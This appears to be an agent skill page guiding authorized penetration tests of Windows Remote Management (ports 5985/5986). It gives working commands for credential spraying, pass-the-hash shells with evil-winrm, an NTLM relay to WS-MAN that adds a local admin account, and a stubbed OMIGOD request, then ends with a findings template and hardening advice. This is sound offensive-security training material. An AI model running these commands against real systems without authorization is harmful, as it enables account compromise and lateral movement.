pentesting-winrm

star 599

Testing Windows Remote Management (WinRM / WS-Management) during authorized engagements. WinRM exposes an HTTP(S) SOAP interface for WMI/PowerShell remoting on 5985/tcp (HTTP) and 5986/tcp (HTTPS). Covers service detection with Test-WSMan and netexec, credential validation and brute force, interactive shells with evil-winrm (password, pass-the-hash, Kerberos, certificate auth), command execution, NTLM relay to WS-MAN, and the OMIGOD (CVE-2021-38647) RCE.

xalgord By xalgord schedule Updated 6/6/2026

name: pentesting-winrm description: Testing Windows Remote Management (WinRM / WS-Management) during authorized engagements. WinRM exposes an HTTP(S) SOAP interface for WMI/PowerShell remoting on 5985/tcp (HTTP) and 5986/tcp (HTTPS). Covers service detection with Test-WSMan and netexec, credential validation and brute force, interactive shells with evil-winrm (password, pass-the-hash, Kerberos, certificate auth), command execution, NTLM relay to WS-MAN, and the OMIGOD (CVE-2021-38647) RCE. domain: cybersecurity subdomain: network-services-pentesting tags:

  • penetration-testing
  • network-services
  • winrm
  • windows
  • lateral-movement
  • command-execution version: '1.0' author: xalgorix license: Apache-2.0

Pentesting WinRM (port 5985/5986)

When to Use

  • During authorized Windows/AD assessments when 5985 (HTTP) or 5986 (HTTPS) is open
  • When you hold valid credentials or an NT hash and want an interactive remote shell
  • When testing for NTLM relay opportunities against an unencrypted WinRM (HTTP) listener
  • When assessing Azure Linux hosts running OMI (OMIGOD, CVE-2021-38647)
  • When validating credentials at scale and checking which grant remote-exec

Quick Enumeration

# Port presence implies WinRM is configured
nmap -p5985,5986 -sV <IP>
# 5985/tcp Microsoft-HTTPAPI ; 5986/tcp is HTTPS

# From Windows: confirm a target is WinRM-configured
Test-WSMan <target-ip>        # returns protocol version + wsmid if configured

# netexec / crackmapexec credential check (no interactive shell)
crackmapexec winrm <IP> -u <user> -p <password> -x "whoami"
crackmapexec winrm <IP> -d <Domain> -u <user> -H <HASH> -X '$PSVersionTable'

# Shodan-style discovery
# port:5985 Microsoft-HTTPAPI

Critical: Checks Most Often Missed

  1. Valid creds ≠ WinRM access — a user must be in the Remote Management Users group (or local admins). Always confirm with crackmapexec winrm before assuming evil-winrm will work; a green (+) with (Pwn3d!) indicates exec.
  2. Unencrypted HTTP listener (5985) → NTLM relay — since impacket 0.11, ntlmrelayx.py can relay captured NTLM to WS-MAN/WinRM for SYSTEM-level code execution. Combine with mitm6/Responder coercion.
  3. OMIGOD (CVE-2021-38647) — Azure Linux agents run OMI exposing WS-MAN on 5985/5986; a logic flaw allows unauthenticated RCE as root by omitting the auth header.
  4. Pass-the-Hash works — evil-winrm authenticates with an NT hash (-H), no cleartext needed.
  5. Kerberos / certificate auth — evil-winrm 3.x supports -k/--spn (Kerberos) and --cert-pem/--key-pem (certificate) for NTLM-disabled or cert-required environments.
  6. Brute force locks accounts — WinRM brute forcing increments the bad-password counter; coordinate with the client and prefer validated single attempts.

How to CONFIRM: WinRM is confirmed configured when Test-WSMan returns protocol/wsmid data, or crackmapexec winrm <IP> responds. Remote-exec capability is confirmed by (Pwn3d!) in crackmapexec output or a successful evil-winrm prompt.

Workflow

Step 1: Enumerate (detect + validate)

nmap -p5985,5986 -sV <IP>
Test-WSMan <IP>                                          # from a Windows host
crackmapexec winrm <IP> -u <user> -p <password>          # validate creds

Step 2: Authenticate (creds, hash, brute, Kerberos, cert)

# Validate / spray (mind lockout)
crackmapexec winrm <IP> -d <Domain> -u users.txt -p passwords.txt

# Interactive shell with evil-winrm
gem install evil-winrm
evil-winrm -i <IP> -u <user> -p '<password>'
evil-winrm -i <IP> -u <user> -H <NTHASH>                 # pass-the-hash

# Kerberos (3.x): needs a TGT (kinit) and SPN
RHOST=<IP> evil-winrm -i $RHOST -u <user> -k --spn HTTP/$RHOST
# Certificate auth (3.x)
evil-winrm -i <IP> -c cert.pem -k key.pem -S

Step 3: Exploit / Extract (command execution)

# One-off command exec without a full shell
crackmapexec winrm <IP> -u <user> -p '<pass>' -x "whoami /all"

# PowerShell remoting from Windows
Invoke-Command -ComputerName <host.fqdn> -ScriptBlock {ipconfig /all} [-Credential DOMAIN\user]
Enter-PSSession -ComputerName <host.fqdn> [-Credential DOMAIN\user]

# pypsrp from Linux (CredSSP/Kerberos)
python3 - <<'PY'
from psrp.client import Client
c = Client('<host>', username='DOMAIN\\user', ssl=True)
print(c.execute_cmd('ipconfig /all').std_out.decode())
PY

Step 4: Post-access / lateral movement

# evil-winrm built-ins: upload/download files, load scripts/binaries
#   PS> upload /local/file C:\temp\file
#   PS> menu ; invoke-binary <tab>     # run in-memory binaries

# Enable WinRM remotely if not configured (needs creds + SMB/WMI)
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
PsExec.exe \\<host> -u DOMAIN\user -p pass -h -d powershell.exe "enable-psremoting -force"

# NTLM relay to WS-MAN (unencrypted HTTP listener) → SYSTEM exec
sudo ntlmrelayx.py -t wsman://<IP> --no-smb-server -smb2support \
  --command "net user pwned P@ssw0rd! /add"

# OMIGOD unauthenticated RCE (Azure OMI, CVE-2021-38647) — authorized targets only
curl http://<IP>:5985/wsman -H 'Content-Type:text/xml' -d '<xml .../>'

Key Concepts

Concept Description
WinRM / WS-Management Microsoft SOAP-over-HTTP(S) protocol for remote management, backed by WMI
PS Remoting PowerShell remoting (Enter-PSSession/Invoke-Command) running over WinRM
Ports 5985 (HTTP), 5986 (HTTPS)
Remote Management Users Group whose members may connect via WinRM without being local admin
Pass-the-Hash Authenticating to WinRM with an NT hash via evil-winrm
wsmprovhost Process hosting the remote PowerShell session on the target
NTLM relay to WS-MAN Relaying coerced NTLM auth to a WinRM listener for code execution
OMIGOD (CVE-2021-38647) Unauthenticated root RCE in Azure's OMI WS-MAN endpoint

Tools & Systems

Tool Purpose
nmap Detect 5985/5986 and service banners
Test-WSMan Confirm a target is configured for WinRM
netexec / crackmapexec (winrm) Credential validation, spraying, command execution
evil-winrm Interactive shell with password/PtH/Kerberos/cert auth, file transfer
impacket ntlmrelayx.py Relay NTLM to WS-MAN for SYSTEM exec
pypsrp WinRM/PS-Remoting from Linux (CredSSP, Kerberos)
mitm6 / Responder Coerce authentication to feed the relay

Common Scenarios

Scenario 1: PtH Interactive Shell

A dumped local admin NT hash is reused: evil-winrm -i <IP> -u Administrator -H <hash> drops an interactive PowerShell shell, confirming lateral movement.

Scenario 2: Remote Management Users Foothold

A low-priv user isn't a local admin but is in Remote Management Users. crackmapexec winrm <IP> -u user -p pass shows (Pwn3d!), and evil-winrm yields a shell for further escalation.

Scenario 3: NTLM Relay to WinRM

An HTTP (5985) listener with no EPA is targeted. mitm6 coerces a victim, and ntlmrelayx.py -t wsman://<IP> relays the auth to add a local admin account.

Scenario 4: OMIGOD on Azure Linux

An Azure VM runs a vulnerable OMI. A crafted WS-MAN request with no auth header executes commands as root (CVE-2021-38647), reported as critical.

Output Format

## WinRM Finding

**Service**: Windows Remote Management (WS-Management)
**Severity**: <Critical|High|Medium>
**Host**: <IP>:5985/5986
**Listener**: <HTTP|HTTPS>   **Access**: <none|user|admin/SYSTEM>

### Summary
<What was found: valid creds w/ remote-exec, PtH shell, NTLM relay, OMIGOD>

### Evidence
- Command: <crackmapexec / evil-winrm / ntlmrelayx>
- Output: <(Pwn3d!), shell prompt, relay success, whoami output>

### Access Obtained
| Method | Result |
|--------|--------|
| evil-winrm PtH | PowerShell shell as <user> |
| ntlmrelayx | local admin account created |

### Recommendation
1. Disable the unencrypted HTTP listener; force HTTPS with EPA enabled
2. Restrict Remote Management Users membership to required accounts
3. Patch/remove OMI (>= 1.6.8-1) on Azure Linux and block 5985/5986 from the Internet
4. Enforce strong credentials and monitor Microsoft-Windows-WinRM/Operational (events 91/163/182)
5. Restrict WinRM access to management subnets
Install via CLI
npx skills add https://github.com/xalgord/xalgorix --skill pentesting-winrm
Repository Details
star Stars 599
call_split Forks 104
navigation Branch main
article Path SKILL.md
More from Creator